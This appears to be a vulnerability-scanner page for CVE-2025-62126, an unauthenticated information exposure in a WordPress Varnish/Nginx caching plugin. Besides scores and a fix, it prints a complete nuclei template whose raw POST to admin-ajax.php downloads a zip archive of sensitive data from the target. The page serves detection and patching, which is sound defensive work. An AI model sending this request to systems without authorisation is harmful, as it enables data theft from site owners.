WordPress Varnish/Nginx Proxy Caching <= 1.8.3 - Information Exposure

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

Razvan Stanga Varnish/Nginx Proxy Caching <= 1.8.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted requests.

Impact

Attackers can retrieve embedded sensitive information, potentially leading to data leakage.

Fix

Update to the latest version beyond 1.8.3.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: binary AND contains in content_type "application/zip" or "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2025-62126 -u <target>

The full check

id: CVE-2025-62126

info:
  name: WordPress Varnish/Nginx Proxy Caching <= 1.8.3 - Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    Razvan Stanga Varnish/Nginx Proxy Caching <= 1.8.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted requests.
  remediation: |
    Update to the latest version beyond 1.8.3.
  impact: |
    Attackers can retrieve embedded sensitive information, potentially leading to data leakage.
  reference:
    - https://github.com/razvanstanga/varnish-caching-wordpress-plugin/pull/15
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/vcaching/varnishnginx-proxy-caching-183-unauthenticated-information-exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62126
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-62126
    epss-score: 0.00704
    epss-percentile: 0.5364
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: razvanstanga
    product: varnish-caching-wordpress-plugin
    framework: wordpress
  tags: cve,cve2025,wordpress,wp,wp-plugin,vcaching,exposure

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=varnish_caching_download&option_page=varnish_caching_download&varnish_caching_varnish_version=4

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - "504b0304"

      - type: word
        part: content_type
        words:
          - "application/zip"
          - "application/octet-stream"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        part: header
        group: 1
        regex:
          - 'filename="?([^";\r\n]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from